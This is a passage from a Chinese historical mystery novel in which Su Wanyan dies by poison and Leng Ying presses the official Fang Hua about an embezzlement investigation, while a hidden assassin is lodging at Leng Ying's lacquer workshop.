陈全让另外两人将那杀手押走,自己则大吼了一声,“走!”便带着几人朝后山赶去。 郎中替苏婉琰拔了箭,止住了血。冷萤正想询问苏婉琰的伤势如何,却发觉郎中的表情怎么好像越来越严肃了。 “血不是都止住了吗?为什么她的脸色还是不见好?”她有些着急地问着郎中。 郎中手上的动作则明显快了许多,抽空回了她一句:“姑娘莫急,容老夫再瞧上一瞧。” 苏婉琰本人,则完全不在意自己的伤势。 她一只手伸到自己腰间来回好几次,才在冷萤的帮助下,取出一张折叠好的宣纸,虚弱开口道:“这才是那人的画像,我刚才是为了将那人的同伙引开。方大人派过去的人……靠谱吗?” “多谢,都是心腹!” 方骅好像丝毫不感到意外,自然伸手接过画像,迫不及待地打开一看,脸色顿时变得极为难看。 冷萤观察这二人的举动,才慢慢明白了苏婉琰话中的意思。 她赞许道:“婉琰还是这般聪慧。” 苏婉琰羞涩一笑,正准备开口对冷萤说些什么,表情突然变得非常痛苦。 她开始大口大口地喘气,随之整个身体蜷缩到了一起。 “婉琰你怎么了?郎中您快帮她瞧瞧,怎么突然这么痛苦,是不是还有哪处受伤我们没瞧见的?” 冷萤一下子慌了。她凑上前,本想仔细看看苏婉琰的伤势。猝然,对方一口鲜血直接喷在了她的脸上。 顾不得自己满脸鲜血,她轻轻将苏婉琰的头枕在自己腿上,怕对方被自己喉中的淤血呛到。 虽然心急,可她完全不敢干扰郎中诊治,只能轻言细语地安慰着苏婉琰。 “不用治了……”苏婉琰缓了好一会儿,才气若游丝地开口。 “那怎么可以?你都吐血了。”冷萤怕她睡过去,只得不停与她讲话:“婉琰,想想林云谢,他还在等你。” 苏婉琰听见林云谢这三个字,莞尔一笑。 可下一瞬,她的嘴角又有一丝鲜血流出,“阿萤,帮我和阿谢说……就说我对不起他,这次是我连累了他。如果有来世,我定会与他白头到老!” “等你好了,自己去同他说。”一滴泪水,猝不及防从冷萤眼中,轻轻滴落至苏婉琰的脸颊。 苏婉琰疲弱地伸出手,抹了抹冷萤被泪水打湿的脸颊,“来不及了阿萤,我在来之前已经服了毒药。” 她的话,让冷萤再也绷不住小声地啜泣起来。 她似是完全不能接受,却又仿佛早就想到了一般,“婉琰,你也太傻了。明明整件事情就要水落石出了,你怎会这么想不开?” “咳咳……其实在,在得知王大龙已死时,我就做了这个决定。”苏婉琰说话已经开始断断续续了,冷萤想让她不要再说话,却被她直接忽略。 方才被箭射中时,苏婉琰再疼也没流泪。这时她的泪水却一颗接着一颗从眼角流出,没入到冷萤裙摆里。 “我双手沾满了鲜血,还连累了阿谢……咳咳。如果不是想为父报仇,我根本不会选择苟活在这人世……”说完,她似极度疲累,开始急促地小声喘息。 冷萤不停用手替苏婉琰擦掉嘴角的鲜血,哽咽说道:“婉琰,你还有没有未了的心愿。你同我说,我一定帮你完成!” 苏婉琰虚弱一笑,看着冷萤的双眼渐渐无神。 “阿萤,我唯有一心愿。” “好,你说!我保证替你完成!”冷萤弯下身,将右耳附在苏婉琰嘴边。 “我希望,这个世间再无贪污腐败之人……” 第二十五章 髹饰影(完) “大人,这人咬舌自尽了!” 陈全人狠话不多,直接扛着一具尸体丢在了方骅和冷萤面前。 将尸体放下后,他才瞧见地上躺着气绝的苏婉琰,垂头丧气的郎中,泪流满面的冷掌柜,和眉头紧锁的大人。 方骅看了眼地上的尸体,确定不是画像上的那人,只说了两个字:“埋了。” 陈全领命让另外几人带着尸体退下,方骅这才走到冷萤面前,开始安慰:“或许,死对苏小姐来说是解脱。” 见被自己安慰的人一动不动,方骅立刻噤了声。他确实不太会安慰人,保持安静应该是现在最好的选择了。 但见冷萤噙着泪,抱着苏婉琰不知在想着什么。 他的手不由自主地开始动了起来,摸了摸自己身上发现什么都没有,只好朝陈全伸了伸手。 他其实也不知道,自己到底想找陈全要什么,但见对方递过来的手帕,他居然觉得,今日陈全这傻小子还挺机灵的。 “擦擦吧!”他拿着手帕站在冷萤身后,考虑要不要直接递过去。 冷萤由于太过伤心,并没有听见方骅在同她说话。她心里一直在想,自己要怎么,才能替苏婉琰完成她的心愿。 她的心愿实在太宏大了,凭自己一个人的力量根本不可能完成。 或许…… 冷萤想到了方骅。 她弯腰,轻轻将苏婉琰的尸身放平,转身正想对方骅说什么,一块黑色的手帕直接戳进了她的眼睛里。 “呃……”方骅快速缩回了手。 “痛……”冷萤快速捂住被戳中的右眼,感觉本就酸楚的眼睛,现下更难受了。 方骅本来一直在考虑,要不要将手帕递给冷萤的。 手在伸伸缩缩间,竟没想到对方会突然转头。恰巧他的手帕也刚好递过去,便一下子不小心戳进了对方的眼睛里。 “你,你没事吧?“他弯下腰,有些无措地看着捂着右眼的女子。 话音刚落,他听见旁边有人突然发出一阵泄气的声音。抬眼一看,才发现是陈全憋笑憋到双颊快要爆炸了。 他原本面对冷萤有些不知如何是好的神情,在看见陈全欠揍的贼笑时,瞬间冷凝下来。 一双冷眼,直盯着对方鼓鼓囊囊的双颊慢慢消失,才收回了视线。 冷萤已经放下了捂住眼睛的手,但头还是低低垂着,让方骅猜不透她在想什么。 “还看得清吗?”他开始担心。 冷萤垂着的脑袋摇了摇,再抬起来时眼睛已不再如方才那般红肿。她擦干脸上的泪水,声音也恢复冷静:“大人,可能要麻烦您随我回霞锦阁一趟了。” “好……” 方骅默默收回手帕,丢给了陈全,“将苏小姐的尸身带回去。” “是!” 已近辰时。 二人回霞锦阁的途中,一路无言。 冷萤心情低落,方骅眉头紧锁。 一个在为曾经的好友默哀,一个则不知在想些什么。 须臾,冷萤收拾好心情,想着还有重要的事要对身边这位大人说。 侧头一看,却发现方骅不见了。 “大人?” 冷萤四下张望,却见对方双手不知捧着一碗什么朝她走来,脸上的表情依旧严肃。 “这是端的什么?”冷萤有些好奇地问了嘴。 方骅严肃的表情,瞬间变得有些不自然,他将手中的碗伸到冷萤面前,“想吃点吗?” 热气腾腾的碗里,有四颗软软糯糯的浮圆子。 无言地抬起头,冷萤不懂这位方大人在干啥?今日也不是冬至,为何他要买一碗浮圆子,是饿了吗? “民女就不吃了,大人你自己吃吧!”她此时,实在吃不下任何东西。 走了两步,见对方即没跟上也没有回话,她再次转头看了过去。 却见那人一步都未挪动,双手还端着那碗浮圆子,两眼则直直盯向碗里,仿佛要将那瓷碗射穿一般。 “大人,走吗?”她有些心急,于是催促道。 方骅这才慢慢抬起头,盯了她好半晌,张嘴道:“走……” 语毕,他端着手中的东西就跟了上来,也不吃也不将瓷碗给人店家还回去。 冷萤见状,瞬间有些过意不去,万一大人是想吃完东西再走,只是不好意思开口呢? ”要不您吃完我们再往回走吧?不着急的。”她按捺住心中的焦急,开口说道。 方骅安静了好一会儿,才回:“本官晾凉再吃。” 好吧! 冷萤心想,这大热天吃浮圆子的,也只有方骅这等奇奇怪怪的人了。这不晾一晾,吃着确实挺烫嘴的。 又是一路无言。 方骅就端着那碗浮圆子,一路走到了冷萤的霞锦阁。 琉月老远就见着自家小姐进门的身影,小碎步跑过来高兴道:“小姐,您回来啦!” “嗯,祖母还好吧?珊瑚姑娘安顿好了吗?”冷萤随口问了句。 本来她也只是随便问一句,可身边的琉月在朝方骅行过礼后,转回来听见她的问话,神情突然变得格外心虚。 “是发生什么事了吗?”见那丫头表情明显不对,她停下脚步问道。 琉月嘴唇动了动,半天不敢说一个字。 “是祖母生病了吗?”冷萤第一时间就想到了这个,这也是她最害怕的事情。 “不是……”对方摇了摇头。 听闻祖母没事,冷萤稍稍松了口气。但见她还是吞吞吐吐,冷萤的语气变得稍微有些严厉:“说吧,到底发生了什么事?” 琉月偷偷抬头观察了冷萤一眼,才结结巴巴开口道:“今日卯时将尽,婢子见您还未回来有些着急,便想着去卧房拿件披风给您送去。没想到进房后,却看见……” “看见什么了?”冷萤追问。 “看见您卧房中,那方流过血泪的凤鸟砚屏……它不见了。”琉月终于一口气说了出来。 “你说什么,砚屏不见了?”冷萤似是不愿相信,又着急问了一遍。 琉月小心翼翼看了眼脸色骤变的主子,才又开口道:“小姐,您还记得料房的阿碧吗?” 冷萤知道自己的反应吓到了琉月,努力调整语气道:“当然记得。” “婢子向早起的伙计打听过,今日曾见阿碧进过小姐您的卧房。”琉月凑上来,小声地对冷萤告状。 “你的意思是说……”冷萤立刻懂了她的意思,“有可能是阿碧偷了砚屏?” 琉月点了点头,才又说道:“不过这也是婢子的猜测。本来阿碧是不能进您房间的,所以她刚进去便有人跟了过去。结果跟过去的那人,一打开门就没见着她了。本来还以为是自己看错了,结果……” 第二十六章 没人要的浮圆子 “人不见了?” “是,我们当时还以为见鬼了,怎么会有人在房中凭空消失呢?小姐您说,会不会是那人看走眼了?”琉月将自己打听到的全都说了出来。 “未必是看走眼。”冷萤冷静下来仔细想了想,随即看向身旁的方骅,“哪会有这么巧的事。” 方骅将那碗浮圆子递给琉月,“麻烦琉月姑娘拿去热一热。” 琉月接过方骅手中的瓷碗看向冷萤,见自家小姐点头后,她才转身朝后厨走去。 方骅这才将手背至身后,走了两步开口:“我也认为未必是看走眼了。不过冷掌柜,你的霞锦阁是要好好管一下了。” 不是死人,就是有人偷东西。 冷萤知他说的是什么意思,如果那个人没有看走眼的话,阿碧进入她房中一瞬间人和砚屏全都不见了,最大的可能是阁内有人接应她。 她进入房中偷砚屏,另外一人则躲在檐下等着她将东西递出。这样,所有人的注意力全在阿碧一人身上。 当见有人进房时,阿碧正好在房中找个隐蔽的地方躲藏。另外一个人,则趁机将砚屏带走,等到周围没人时,她再找个机会偷偷溜出冷萤的房间,离开霞锦阁。 不过,这些都只是她初步猜想。 她当然……希望是自己猜错了。 “谨遵大人教诲,大人请进。”冷萤邀请他去前厅,准备将他安置好后,自己再回房中仔细瞧瞧。 她正想唤人上茶时,一名丫鬟突然着急忙慌地跑了进来。 “小姐……小姐救命啊,阿碧她死在房间里了!”那丫鬟一边跑一边喊,似是被吓得不轻。 冷萤上前,一把扶住了她,“慢点跑。你再说一遍,谁死了?” 丫鬟满脸害怕,抬头慌乱地看向冷萤,“阿碧。是阿碧死了啊,小姐!” “阿苓,你确定没看错人?”冷萤瞬间有些摸不着头脑了,阿碧不是刚刚离开霞锦阁了吗?怎么又突然跑回来,还死在了自己房间里? 叫阿苓的丫鬟急切地摇着头,声音颤抖着说道:“小姐,是我亲眼看见的。我日日与她同叫同住,决计不会看错。她的尸体,现在就躺在床上,样子……好可怕的。” “好,我知道了,你先下去吧!” 躲在暗处的那些人,到底是什么时候入侵她的霞锦阁的? 阿苓走后,冷萤站在门边思虑良久。老远看见琉月端着一碗东西走过来,她上前交代了几句,琉月便又端着东西转身离开了。 再次进入前厅的冷萤,见坐在那处的方骅一直看着琉月离开的背影,突然才想起,方才琉月手中端的东西,好像是他要吃的。 但现在正事要紧,阿碧的事她已交代琉月去处理。现在她有更重要的事要问这位方骅大人。 走上前,冷萤亲自给方骅倒了一杯茶,然后给自己也倒了一杯。 方骅的身边还有一个空位,但冷萤选择坐到他的对面。 一见她这个架势,方骅好似也明白了什么,表情渐渐变得严肃了起来。 “看冷掌柜这样子,是有什么重要的事情要与我谈?” 冷萤抬眼看向对面坐着的男人,从自己这处看过去,对方形如一幅上好的漆画,底色厚重威严,外表琳琅愈青荧。 可这样一个人,在相处了好几天后,她却越发觉得自己看不懂他了。 “民女一介商户,怎配得上与方大人谈事情。只不过,这起大漆贪污杀人案,民女也曾全身心在为大人助力。这一点,大人不觉有异吧?”冷萤面对方骅时态度不再从容,而是恢复到初见面时有些防备的样子。 言语间,将两人的身份划分得清清楚楚。 “当然。”方骅是个明白人,他察觉到冷萤态度前后的变化,神情一瞬间便冷了下来。 他一瞬不瞬地盯着冷萤,好似在极认真地听她说话。只是原本的满目灼灼,一下子黯淡了下来,“冷掌柜有什么事情想问,其实可以直接问的。” “那民女就放肆了。” 冷萤饮了一口茶,将茶杯随手放在茶台上。 对上方骅的双眼,她毫不畏惧地问道:“大人此次前来,真的只是来查苏知县被杀一案吗?据我所知,大人从京城到陵县,不吃不喝不睡少说也要好几日路程,难道您能预判到苏林生即将被杀?” 方骅正准备开口回答,冷萤却根本没给他说话的机会,“民女虽出身市井,但也知道审案得一层一层来。为何这事连州府推官还不知,身为监察官员的大人却亲自跑来调查?所以,大人您要查的案件,其实根本就不是苏知县被杀一案对吗?“ 方骅原本暗淡又冷硬的神情,在听见冷萤一连串不带歇一口气的问话时,慢慢转为了不自然。 见他开始用喝茶掩饰情绪,冷萤顿觉自己问到了点子上。 但她也不催促,反正自己的问题已经问出了口,至于方骅愿不愿意回答,便是他自己的选择了。 毕竟他们不是同僚,对方若真被派到陵县暗查什么,她一介草民不能知道,是再正常不过的事。 但如果方骅这次同她认真将事情讲清楚,她冷萤也决计不会出卖他。如果对方需要,她甚至会舍命陪君子,倾尽自己的能力,去助他一臂之力。 之前那些一闪而过的怀疑,在得知砚屏被偷,阿碧被杀如此巧合的情况下,再也无法从内心压下去一点了。 这些人行事周密,杀人毫不留情,明显是有预谋的犯案。 她如今不想选择睁一只眼,闭一只眼。苏婉琰临终前的那个心愿,起到了很大的作用。 冷萤无法想象,苏婉琰是在怎样危险的情况下拿到的贪污官员名单,又是抱着什么样的心情,孤注一掷地将那些名单,放进螺钿黑漆凤鸟砚屏中。 “你是从什么时候开始怀疑的?”方骅明明才喝茶润过喉,此时开口还是觉得嗓子干涩。 他突然不再装模作样地叫着“冷掌柜”,让冷萤还有些不习惯了。 “当我看见陈全他们时,便已知您到陵县是有备而来。而不是我自顾自想的,顺路过来查个案这样简单。”哪有一个言官,出门会带这样多的暗卫? “原来如此。”方骅点点头,嘴角微微勾起,“回去打陈全一顿。” 冷萤一听,顿觉他有些无理取闹,“陈全有何错,难道不是您瞒得不够仔细吗?” 他天天使唤人家使唤得这般勤快,现在被发现了还要揍人家,这是个什么道理? 方骅见对面女子虽坐姿端正,但由于着急,身体微微朝自己倾斜。额间的花钿在烛火映衬下泛着流光,让本就灵动的双眼,看起来更加润泽了。 他嘴角微微扬起,用自己都未察觉到的笑意,说着最隐蔽的话。 “派我前来的,其实是当今圣上!” 第二十七章 旧案 冷萤看着方骅难得一见的温柔笑意,微微有些惊奇。 更令她没想到的是,对方下一句说出的话,竟会对自己造成这么大的冲击。 她激动地一下站起身,片刻便发觉自己反应有些过度,硬生生地又坐了回去。 “您是说,是圣上派您到陵县来的?”其实,冷萤更想继续往下问的,但想一想事关重大,还是强逼着自己止住了话头。 目光转下,方骅见冷萤的右手又开始不停磨着指甲,他便知她忍得有些辛苦。 于是,不再卖关子,他终于坦率地向冷萤说出了此行目的,“圣上派我前来,其实是要重查十一年前的朝廷官员贪污案。碰巧我刚到陵县的那日,先我一步的暗探发现此地的知县不知被谁杀害,我才顺势将此事揽了下来。” “十一年前的……”冷萤右眼微微一跳,小声重复了一句,“贪污案?” “对,有什么问题吗?”方骅见她眉目微垂,似是在回忆什么,于是问道。 冷萤缓缓摇了摇头,又继续方才的话题:“大人您这次暗探都带了,怎会不知凶手是谁?” 方骅瞟了她一眼,颇为无奈道:“先行的暗探,也只比我早到一日,哪里知道凶手是谁?放心吧,在这次的大漆案中,我所知的便也是你知道的。” 他不禁在心中暗叹,这冷萤不愧是商人,事情都想得比一般人要复杂些。如此这般下去,自己还不得被她问个底朝天。 但冷萤虽精明,却也不是莽撞之辈。知道朝廷一旦重查多年前的案子,必定牵连甚广,涉案众多。 所以,她不敢围绕十一年前的案子追问,只敢打听自己能知道的事情,“那大人,您知道此次的大漆案,也有京城的官员牵扯其中吗?” 方骅点了点头。 “大人果然料事如神。”冷萤二话不说地拍起了马屁。 “别拍马屁了,你和苏婉琰耳语我听见了。其实我早知道你带我回霞锦阁,是想将那份官员名单交予我。”方骅一点也不吃她那一套。 冷萤眉头微皱,敢怒不敢言,“您居然……这您都能听得见?”这人居然这般大方地承认自己偷听,一点都不觉得愧疚吗? “哎,你可别诬赖我。”方骅的表情似乎完全放松了下来,端起茶喝了一口才道:“我自小习武,耳力比别人好一点罢了。” 她居然没有想到这一点! 冷萤忽而灵机一动,“我早就想问了,大人您不是监察言官吗?怎么还自小习武呢?” “谁说言官不能习武?恰巧我幼时便开始练武,又恰巧我行事刚正不阿,侥幸被选到六科。这中间…难道有什么问题吗?”方骅反问道。 “没有问题。”冷萤难得乖乖地回了句。 方骅见她终于收起了自己的好奇心,才缓缓说道:“苏婉琰说的那份名单,应是被那些人偷走了。但她给的那张画像,上面的人我识得。他叫张志,与我是同年,现任昌县县丞。” 此话一出,冷萤着实惊了一瞬,她微微睁大双眼,“您的意思是说,昌县的县丞居然也参与了此案?” “如果苏婉琰所作画像无误的话。”方骅谨慎答道。 其实,那幅画像将所画之人的神态特征体现得淋漓尽致。不然,他也不会一眼就认出那人是谁。 只是,以自己对张志的了解…… 想到这里,方骅又暗自摇了摇头。罢了!人都是会变的,也没什么了不了解一说。 冷萤见方骅时而沉思,时而摇头,便知他是被什么问题给困住了。 “大人结案后会去昌县吗?”冷萤问道。 方骅点点头,“大漆案已经查得差不多了,明面上的凶手也都抓捕归案。至于阿碧的死,我会交由上级府衙暂时派来的官员接手。我的人已经前去告知,特派官员不日便会到达陵县。” “如果查清是那些人杀了阿碧,又该如何处理?”毕竟是自己阁中料房的看守丫鬟,虽做错了事,冷萤还是想问一嘴。 “那只能一并调查了。”方骅回了句,随后又看向冷萤,说道:“冷萤,此案牵连甚广,只怕无法快速结案。但我保证,一旦案件有突破,必定会派人告知你。”这是他的承诺,也是对她这几日前前后后助他查案的谢意。 想到这里,他的目光快速瞧了一眼冷萤脖子上的纱布。 “我懂的。”冷萤简短回了句,不想让方骅感到太有压力。 将自己面前的茶饮完,方骅站起身打算告辞。 大漆案疑点众多,与那些官员有牵扯的王大龙已死,苏婉琰得到的涉案官员名单又被人偷走。现在,他只能寄希望于……林云谢能知道些细枝末节了。 所以,他得回去细细盘问林云谢。看能不能,找出此案与十一年前的贪污案的相似之处,或者有涉案官员重合的情况出现。 “大人,我能去看看林云谢吗?”冷萤站起身将他送至门外,语带试探地问道。 她答应过苏婉琰,要将她的话带给林云谢。 “当然可以。到时,我会派人来请你过去。” “多谢大人。”冷萤正福身送客,一支熟悉的发簪出现在她眼前。 冷萤顿时眼睛一亮,双手接过发簪,笑吟吟地看着方骅说道:“大人果然说话算话!” 方骅微微点头并未说话,深深看了她一眼后,便转身离开了。 看着对方离去的背影,冷萤微微松了一口气,这才开始感到自己脖子上的伤口有些微刺痛。 “小姐,伤口开始疼了吧?”琉月匆匆赶来,担心地问道。 冷萤放下轻触纱布的手,转身看向她,问道:“事情处理得怎么样了?” 琉月上前扶住冷萤往卧房走,小声地说着:“我按小姐说的放出了消息,在阿碧家人来之前,一直派人守在她与阿苓的房门外。果不其然,不一会儿,阁里的木工学徒钱老三便偷摸进了房。” “将人抓住了吗?问出什么没有?”冷萤走进房间,看着空荡荡的桌案上只剩下燃尽的香灰,和略显杂乱的器具,眉头微锁。 琉月见状忙上前收拾,嘴巴也没闲着,“那钱老三只说,指使他们的人他并未见过,一直是阿碧与对方联系。还说阿碧其实不想做这件事,奈何家中幼弟去学堂凑不够束脩。无奈之下才答应了对方……” 第二十八章 黄衣女子 阿碧已死,冷萤不想过多评价什么,只问道:“将钱老三送去县衙了吗?” 琉月点头,“让阁里的伙计押送过去了。”琉月似乎比冷萤还讨厌有人将桌案弄乱,又哒哒跑去打水,回来将桌面擦净。 冷萤见她这勤快模样,劝道:“好了,别忙了!你也累了半天,出去休息吧。” 摇摇头,琉月头也未抬地擦着桌子,嘴里念叨着:“偷东西便罢了,还将小姐房中弄得这般乱。” “我说没事就没事。”冷萤脱下披风,坐到铜镜前摘下头上的珍珠发簪,“不过,那位方大人说得没错,阁里确实得好好整治一下了,漏得和筛子似的。” “琉月也是这样觉得……”她怕小姐生气,没再继续打扫。 净了手,她走过来替冷萤将脖颈处的纱布揭开,仔细观察伤口有没有红肿,嘟嘴道:“小姐这几日,忙得没时间吃东西不说,身上还总是带伤。那位大人,他不是大人吗?为什么不能好好保护小姐。” “看你说的。”冷萤单手懒懒地撑着脑袋,任由琉月帮她梳理头发。她这几日确实太累的,都没怎么好好休息。 从铜镜里,她看着琉月依旧嘟着的小嘴,浅笑道:“方大人有要事在身,哪能时时顾着我。这人……脾气虽然硬了点,但已经很体恤我们这些老百姓了。” 说到这里,冷萤突然想到,“阿碧的家人过来时,有没有说些什么?” 琉月将冷萤擦脸的帕子拿过来,见小姐似乎极度疲累,本想直接上手的,却被冷萤一把拿了过去,自己对着铜镜擦起了脸。 “阿碧娘亲头发全白了,她说的家乡话我也听不太懂。”琉月微微蹙眉,有些苦恼地说道。 她蹲在冷萤面前想了一会儿,才磕磕巴巴地说道:“总之她娘亲说,想亲自过来替阿碧向小姐您道歉。说您一直很关照她们,上次阿碧丢石蜡那事不罚不说,还差人送了一堆东西过去。还说,嗯……” “还说什么?”冷萤将帕子递还给她,对着铜镜摸了摸额间的花钿,随口问道。 “说……是阿碧对不起小姐,对不起霞锦阁,居然做出此番偷鸡摸狗的事来。”琉月看着冷萤轻触额头的动作,眼底闪过一丝心疼。 她抬手碰了碰冷萤额前的花钿,咬了咬唇问道:“小姐,这里还疼吗?” 冷萤拉下她的手,从容一笑,也伸手点了点她的额头,“多少年了,怎么还会疼。” 见琉月不再蹙着眉,她才继续开口道:“见面就不必了,你明日多拿一点赙赠过去。还有,这事就不必告诉祖母了。她年纪大了,别总让她操心这些烦心事。” “是。”琉月乖乖回道,随即问:“小姐,洗澡水已经备好了,要去沐浴吗?” 冷萤懒洋洋地点了点头,正准备起身,突然想起了一件重要的事情。 “对了,珊瑚姑娘吃住都还习惯吗?”今日实在太忙了,让她差点忘了还有一位救命恩人住在阁中。 琉月听她提起珊瑚,表情微微一变,随即开口道:“珊瑚姑娘她啊,嗯……吃得挺好的,也挺会吃的。” 冷萤懂了琉月话中的意思,轻轻敲了敲她的小脑袋,站起身准备去沐浴,“好好招待人家!” “是……”琉月不甘不愿地回道。 夜半的霞锦阁,清幽静谧。 所有人都已安睡,只余几位守夜的学徒与小厮,靠在门前昏昏欲睡。 突然,一袭黑影从屋顶掠过,停在了一处亮着暗暗烛火的房门前。 轻敲两下,房门便自动打开。一黑衣男子左右张望了一下,见四周无人,便谨慎地钻了进去。 “来啦?” 八仙桌上,摆着一对烛台。身着鹅黄色长衫的女子坐在桌前,手里正捏着弦丝对着烛火烧着玩儿。 “嗯。”来人惜字如金,见她动作危险,又开口道:“你也不怕走火了,烧了这好不容易得来的机会。” “嘁……”女子似是不喜被人管,拉长手中的弦丝,玩得更欢了,“关键时刻,跑过来找我做什么?” 来人也不坐下,双手抱胸背靠着门板,问道:“你就救了她一命,她就同意你住进来了?” 他的疑问似乎逗笑了桌前的黄衣女子,她微微勾唇收起手中的弦丝,侧身一转这才看向门板前站着的男子,“怎么,羡慕啊?我可是救了人家的命。” “得了吧!不就是主人让你过来杀掉王大龙吗?若不是那个叫冷萤的胆子大,你只怕还找不到这般好的机会呢。”那人吐槽道。 “那又怎么样?”女子慵懒地靠在桌边,玩起自己的发丝,“反正主人的两个要求,我全都做到了。” 来人冷笑一声,看着满脸无所谓的女子,开口道:“所以,你的新任务又来了。” “什么?”女子一听,气得甩掉手上的头发,瞪着溜圆的眼睛问道:“怎么又有任务?歇几天都不行吗?我是牛马吗?吃点草就可以一直出任务?” “我会将你所有的问题,完完整整带回给主人。”男子可不惯着她,冷漠地说了句。 黄衣女子一听立即伸出手,摆出停战姿态,“好好好,是我口误。我最爱帮主人出任务了,谁也比不上我。可以了吗?” “最好一次给我十次、八次任务,累死我好了!”她还小小声地嘀咕了句。 说完,她转身泄愤似的扯了扯自己的头发。 男子没有说话,安静地靠在门板上看她发疯。 女子拿起桌上的栗子糕咬了一口,嘟囔道:“说吧,这次又是什么?” 男子这才站直身子,开口道:“主人让你跟着她回京城。路上不管遇见什么事情,都要老实上报。” “回京城?”女子咽下嘴里的糕点,又端起一碗冰酪酥吃了两口,“人家好好一个陵县人,回什么京城?京城很好吗?坏人那么多!” 黑衣男子瞪了她好半晌,才无奈开口道:“你不就是坏人吗?说谁呢?” 女子放下碗,白了他一眼,小声道:“我可不是坏人,那都是为了报恩。而且……我杀的都是恶人。” 男子静了静,看她眼神格外复杂,“主人说,那人不日便会启程上京,让你做好准备。记住,时刻跟紧她!” “主人怎么知道,她会离开此地上京?”女子语气很是不服地问道。 “那我回去帮你问问主人。”男子麻木回道。 见对方一点也不接招,她勉强答道:“好好好,这任务接下了,你可以走了!” 她话音刚落,房门便稍稍打开了一条缝。 下一瞬,原本站在那里的人便没了踪影。 第二十九章 朝阳在我额间 冷萤晨起,便径直来到东厢房门外。 琉月上前敲了敲房门,里面的门瞬间被打开。 “冷姐姐!” 珊瑚打开门,如黄林莺一般,提着五彩裙摆就朝冷萤奔了过来。冷萤一大清早便被她的活泼给传染到,唇边的笑意亦越发灿烂了。 “昨日睡得怎么样?”她看着兴致勃勃的珊瑚,轻声问道。 珊瑚自来熟地挽起她的胳膊走进房间,琉月原本站在冷萤身边的,一下子被挤开了好几步。 “小姐……”琉月端着东西,小声喊道。 冷萤转头,看见琉月手中端着的东西,忙让她放到桌上。 “饿了吧?我让后厨做了些吃食,快趁热吃了。” 琉月不甘不愿地将吃食摆在桌上后,开始收起珊瑚昨夜吃空的碗盘。 “哇,看起来就好吃。谢谢冷姐姐!”珊瑚倒是一点也不客气,一屁股坐到桌旁,垂涎地看着琉月摆出来的好几样吃食。 她拿起筷子夹了一张蒸饼喂到嘴里,见冷萤没有动筷,张罗着也给她夹了一张,含糊道:“冷姐姐怎么不吃,你不饿吗?” 冷萤盛了一碗小米粥,放到她手边,开口道:“我用过了,你多吃点。” “好吧!” 看着珊瑚大快朵颐地吃得开心,冷萤瞧着心情也渐渐好了起来。 见因为吃得太大口,将自己噎到翻白眼的珊瑚,她连忙倒了一杯茶递过去,“快喝口茶顺一顺。” 珊瑚接过清茶,一饮而尽,这才终于顺畅下来。 “呼……”她放下手上的包子,用袖口擦了擦嘴,看向冷萤“呵呵”一笑道:“好饱!” 冷萤忍俊不禁,心里想着,习武之人必定进食要多一些,这很正常。 待珊瑚完全吃饱后,她才慢慢开口说明来意:“今日过来,是想感谢珊瑚姑娘那日的救命之恩。还有……” 她端过自己带来的小漆盒,晃了晃,“来兑现我的承诺!” 珊瑚的目光,瞬间便被冷萤手中螺钿镶嵌的漆盒所吸引。 只见那小小的漆盒上,居然镶嵌着一片竹林,竹林旁还有两位女子坐在溪边亭里对弈。 翠绿色的竹林,身着月牙白与黄衣的女子,还有用螺钿丝条勾勒出溪水的流动感。 “世上竟有如此活灵活现的螺钿镶嵌图案。冷姐姐,这是你阁中的藏品吗?”自从冷萤拿出这漆盒,珊瑚的眼睛就没从上面挪开过,手也不停在上面来回抚摸。 冷萤被她夸得有些不好意思了,开口道:“这只是我练手时做的小玩意儿,其实我想让你看的,并不是这漆盒。” “啊?”珊瑚终于将目光从漆盒上移开,“那是什么?” 随后,她将目光移了回去,自言自语道:“这还只是个小玩意儿?”语气里,满是不可置信。 冷萤都快被她的夸张的反应逗乐了。她微微一笑,将手中的漆盒打开,露出一整盒闪着五光十色的螺钿粉。 眼见着珊瑚的嘴,因为惊讶而缓缓大张,冷萤哑然失笑,“你那日说,想点与我一样的花钿。这盒螺钿粉,我用了朱砂、金箔、珍珠还有螺片,一同研磨制成。你点上一定会特别美!” 听了冷萤的解释,珊瑚的表情已经不足以用夸张来形容。 她捧着冷萤递过来的漆盒,傻愣愣地问道:“漆盒也送我吗?” 冷萤扑哧一笑,“送你,都送你。” 珊瑚小心翼翼地将漆盒放到桌面上,再用手捏了捏自己粉嘟嘟的脸颊,嘴里喃喃道:“我何德何能啊,区区救命之恩,冷姐姐你也太客气了!” “我还怕你不喜欢呢,看来是送对了。不要妄自菲薄,救命之恩可是大过天的,等你这盒用完了,冷姐姐再给你做一盒。” 冷萤从背着的小包里,拿出一把细长如针尖的毛刷,又掏出一小盒鱼鳔胶,对着珊瑚笑吟吟的。 对方立刻明白了她的意思,双手撑在圆凳上,身体前倾,微微闭上眼睛,“那就麻烦冷姐姐了。” “不麻烦!” 冷萤用左手勾起珊瑚的下颌,右手拿着刷子蘸胶,再移到漆盒里取出螺钿粉,专注地开始为对方点花钿。 朝阳透过小轩窗,洒在了珊瑚的脸颊上。 不一会儿,珊瑚的额间便开出了一朵连翘。 拿出手持镜,冷萤递给珊瑚,让她欣赏自己的美丽。 乐不可支的珊瑚在窗边自我欣赏了好久,突然指着额间,兴奋地对冷萤说道:“冷姐姐你看,朝阳在我额间。” 冷萤走上前,点了点她鼓起的小脸,逗着她,“等到月光出来,它也会跑进你的额间的。” 珊瑚激动到手舞足蹈,拉着冷萤不停地说道:“冷姐姐,我们去逛集市吧?我想让所有人看到冷姐姐为我点的花钿。” 只可惜,冷萤无法答应她。 珊瑚见状,似乎也意识到了这一点,不停晃着她手臂的手慢慢停了下来,“冷姐姐一会儿有事吗?”她的眼里闪过小小的失望。 冷萤点了点头,向她解释:“珊瑚你就在霞锦阁住下,等冷姐姐忙完这一阵了,就带你出去好好玩玩,好吗?” 她今日,还要去为苏婉琰处理后事。 苏婉琰如今在陵县一个亲人也没了,唯一的未婚夫还在牢狱里,冷萤便主动将这件事情接了下来。 她只是希望,婉琰在经历这段时日的痛苦后,能好好地入土为安,来生能和林云谢再续前缘。 “那我们说定了哦!”珊瑚又重拾笑容,向冷萤要着保证。 “当然,冷姐姐不会骗你的。”冷萤摸了摸她的头,然后说道:“那我先走了,记得按时用饭。” 珊瑚乖巧地点了点头,答应:“这是自然。”说完,还情不自禁地咽了咽口水。 见她表情无异,冷萤这才告辞离开。 珊瑚站在轩窗前,看着那月牙色的背影越来越淡,脸上的笑意久久没有淡下。 直到冷萤整个人都已经看不见,珊瑚才收起笑容,坐回桌边。 